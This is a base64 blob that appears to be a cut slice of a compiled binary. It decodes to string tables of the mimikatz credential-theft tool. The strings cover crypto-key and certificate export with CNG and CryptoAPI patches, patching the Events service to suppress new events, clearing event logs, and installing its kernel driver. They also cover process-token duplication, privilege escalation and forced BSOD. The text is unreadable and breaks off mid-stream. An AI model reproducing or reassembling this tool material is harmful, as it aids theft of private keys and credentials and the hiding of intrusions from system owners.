dABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBEAEUARgBfAEQASABfAFMAQwBIAEEATgBOAEUATABfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARQBOAEgAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAHQAcgBvAG4AZwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBTAFQAUgBPAE4ARwBfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBEAEUARgBfAFAAUgBPAFYAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBTAEUAUgBWAEkAQwBFAFMAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFUAUwBFAFIAUwAAAAAAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFMARQBSAFYASQBDAEUAAAAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARQBOAFQARQBSAFAAUgBJAFMARQAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAYwBuAGcAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAYwBhAHAAaQAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAAAAAAGsAZQB5AHMAAAAAAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAAAAAAAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAAAAAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHMAdABvAHIAZQBzAAAAAAAAAHMAdABvAHIAZQBzAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHMAAAAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAAAAAABjAHIAeQBwAHQAbwAAAAAAcgBzAGEAZQBuAGgAAAAAAENQRXhwb3J0S2V5AAAAAABuAGMAcgB5AHAAdAAAAAAATkNyeXB0T3BlblN0b3JhZ2VQcm92aWRlcgAAAAAAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAAAAAABOQ3J5cHRGcmVlQnVmZmVyAAAAAAAAAABOQ3J5cHRGcmVlT2JqZWN0AAAAAAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABCAEMAcgB5AHAAdABFAG4AdQBtAFIAZQBnAGkAcwB0AGUAcgBlAGQAUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABzAHkAcwB0AGUAbQBzAHQAbwByAGUAAABBAHMAawBpAG4AZwAgAGYAbwByACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwB0AG8AcgBlAHMAIAA7ACAAQwBlAHIAdABFAG4AdQBtAFMAeQBzAHQAZQBtAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABNAHkAAAAAAAAAAABzAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAAAAAAAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAGsAZQB5AFMAcABlAGMAIAA9AD0AIABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAFMAUABFAEMAIAB3AGkAdABoAG8AdQB0ACAAQwBOAEcAIABIAGEAbgBkAGwAZQAgAD8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHQAeQBwAGUAAAAAAAAAAABtAGEAYwBoAGkAbgBlAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFMAbwBmAHQAdwBhAHIAZQAgAEsAZQB5ACAAUwB0AG8AcgBhAGcAZQAgAFAAcgBvAHYAaQBkAGUAcgAAAGMAbgBnAHAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAawBlAHkAcwAgADoACgAAAAAACgAlADIAdQAuACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAAAAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAcAB2AGsAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGcAZQBuAGUAcgBhAHQAZQBGAGkAbABlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABwAGYAeAAAAG0AaQBtAGkAawBhAHQAegAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAEEAVABfAEsARQBZAEUAWABDAEgAQQBOAEcARQAAAAAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAAAAAAAAAAABDAE4ARwAgAEsAZQB5AAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABjAGwAZQBhAHIAAAAAAAAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAZAByAG8AcAAAAAAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAZQB2AGUAbgB0AAAAAAAAAGwAbwBnAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAAQwBsAGUAYQByAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAE8AcABlAG4ARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAAAAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAcgBlAGcAaQBzAHQAcgB5ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAFIAZQBnAAAAAAAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAdABoAHIAZQBhAGQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAFQAaAByAGUAYQBkAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAAAAAAAATABpAHMAdAAgAFMAUwBEAFQAAAAAAAAAcwBzAGQAdAAAAAAAAAAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAAAAAAAAbQBvAGQAdQBsAGUAcwAAAFMAZQB0ACAAYQBsAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AbgAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAARAB1AHAAbABpAGMAYQB0AGUAIABwAHIAbwBjAGUAcwBzACAAdABvAGsAZQBuAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAAAAAABQAHIAbwB0AGUAYwB0ACAAcAByAG8AYwBlAHMAcwAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAQgBTAE8ARAAgACEAAAAAAGIAcwBvAGQAAAAAAAAAAABSAGUAbQBvAHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAAAAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAACsAAAAAAAAAcgBlAG0AbwB2AGUAAAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAcAByAG8AYwBlAHMAcwAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABpAG